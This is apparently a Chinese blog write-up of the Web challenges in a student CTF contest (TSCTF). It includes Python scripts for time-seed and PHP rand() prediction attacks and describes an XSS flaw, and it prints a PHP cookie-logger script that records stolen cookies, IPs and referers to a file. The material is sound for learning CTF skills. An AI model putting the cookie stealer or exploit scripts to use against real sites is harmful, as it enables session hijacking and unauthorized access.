zoukankan      html  css  js  c++  java
  • 第二届TSCTF比赛writeup及心得-Web

    1. 送分题

    一开始真没明白为什么叫送分题,后来明白了,泪流满面。。我只想说,查看源码这个事情一辈子都不能忘。

    image

    还是推荐以后都用这个,就不会漏了

    image

    2.Do you know time

    网页显示一张福利图片,下载下来,随便用二进制打开图片,翻到最后面,发现了代码,种子确定了,srand就没意义了,种子是由time()函数确定的,发到服务器上总要一点时间,所以我们用time()+30的时间做种子,然后运行程序,就差不多能撞到服务器上的time()的时间。

    image

    但是一开始死活没找到入口,我还以为有什么信息没挖掘呢,,百度还识图找了原图,发现就是末尾加了东西。。。。看方法是POST,但是网页是GET方式提交的,明显就是要修改为POST,但是一开始怎么修改都不对,然后就把头改了,主要是Content-Type:

      1 import time
      2 import urllib
      3 import httplib
      4 print 'what'
      5 
      6 test_data = {'hash':'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'}
      7 test_data_urlencode = urllib.urlencode(test_data)
      8 requrl = "http://10.3.242.166/questions/web/web150/index.php"
      9 headerdata = {"Host":"10.3.242.166","Content-Type": "application/x-www-form-urlencoded"}
     10 
     11 for i in range(1,60):
     12     time.sleep(0.5)
     13     print '----------------------------------------------'
     14     conn = httplib.HTTPConnection("10.3.242.166")
     15     conn.request(method="POST",url=requrl,body=test_data_urlencode,headers = headerdata)
     16     response = conn.getresponse()
     17     res= response.read()
     18     print re
    tcp_post

    这道题主要考包构造和发包程序吧。。

    (更多:关于服务器上时间可能和本地时间不一样的情况,可以用get_headers函数查看一下,或者用curl发包,然后也查看下返回头就能得到差值了。当然,此题还有暴力遍历到的。。我大概去了+-60s不到就过了,好神奇。。)

    3. rand or not

    not..

    果然学的太少,我们来看源:

      1 $flag = 'flag';
      3 session_start();
      4 
      5 if(isset($_SESSION['count']) && isset($_SESSION['time'])) {
      6     $_SESSION['count'] += 1;
      7     if($_SESSION['count'] > 2){
      8         session_destroy();
      9         die('bye~~');
     10     }
     11     if(time() - $_SESSION['time'] > 2){
     12         session_destroy();
     13         die('timeout~~');
     14     }
     15 } else {
     16     $_SESSION['count'] = 0;
     17     $_SESSION['time'] = time();
     18 
     19     echo rand();
     20 
     21     $_SESSION['rand'] = array();
     22     $i = 5;
     23     $d = '';
     24     while($i--){
     25         $r = (string)rand();
     26         $_SESSION['rand'][] = $r;
     27         $d .= $r;
     28     }
     29 }
     30 
     31 
     32 if (isset($_GET['check'])) {
     33     if ($_GET['check'] === $_SESSION['rand']) {
     34         echo $flag;
     35     } else {
     36         echo 'die';
     37         session_destroy();
     38     }
     39 }
     40 31395
    题目

    rand的取值很小,max = 32767然而我真的不知道它会按顺序重复。。

    后来知道它会重复,那还有什么怕的。。先打32768个数的表

    <?php
        $xun = 32788;
        while ($xun--)
            echo rand().",";
    ?>

    再搜索就好,里面涉及到php传数组的方式,要记得一下。

      1 import cookielib,urllib2,random
      2 
      3 cj = cookielib.CookieJar()
      4 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
      5 first = opener.open('http://www.tsctf2016.com/questions/web/web200/index.php')
      6 data = first.read()
      7 #str2 = data[-6:]
      8 #print '---'+str2+'---'
      9 num1 = data[-5:]
     10 print num1
     11 
     12 f = open('randnum.txt','r')
     13 raw = f.read()
     14 pos = raw.find(str(num1))
     15 
     16 ans=['','','','','']
     17 
     18 st = raw.find(',',pos)
     19 for i in range(5):
     20     en = raw.find(',',st+1)
     21     ans[i] = raw[st+1:en]
     22     #print ans[i]
     23     st = en
     24 
     25 url = 'http://www.tsctf2016.com/questions/web/web200/index.php?check[]='+ans[0]+'&check[]='+ans[1]+'&check[]='+ans[2]+'&check[]='+ans[3]+'&check[]='+ans[4]
     26 print url
     27 f = opener.open(url)
     28 print f.read()
     29 
    发包程序

    4.web300-1 优雅的登录

    似乎是,十分让人抓狂的题目啊。。

    5.web300-2 flag被管理员藏起来了

    flag,明显admin

    然后是留言框,xss的,过滤很浅,imgiframeobjecta href等等都没过滤。编程将document.cookie读出到文件就可以了。。表示我做题的时候怎么没有看见里面有管理员的cookie,,,果然还是编程靠谱些。。

    //转自我同学
    <?php
    $cookie = $_GET['c'];
    $ip = getenv('REMOVE_ADDR');
    $time = date("j F,Y,g:i a");
    $ref = getenv('HTTP_REFERER');
    $fp = fopen("cook.txt","a+");
    fwrite($fp,"input the cookie:");
    fwrite($fp, "Cookie:".$cookie."<br>IP:".$ip."<br>Date:".$time."<br>Referer:".$ref."<br><br><br>");
    fclose($fp);
    ?>
  • 相关阅读:
    2020年. NET Core面试题
    java Context namespace element 'component-scan' and its parser class ComponentScanBeanDefinitionParser are only available on JDK 1.5 and higher 解决方法
    vue 淡入淡出组件
    java http的get、post、post json参数的方法
    vue 父子组件通讯案例
    Vue 生产环境解决跨域问题
    npm run ERR! code ELIFECYCLE
    Android Studio 生成apk 出现 :error_prone_annotations.jar (com.google.errorprone:error) 错误
    记忆解析者芜青【总集】
    LwIP应用开发笔记之十:LwIP带操作系统基本移植
  • 原文地址:https://www.cnblogs.com/puluotiya/p/5483472.html
Copyright © 2011-2022 走看看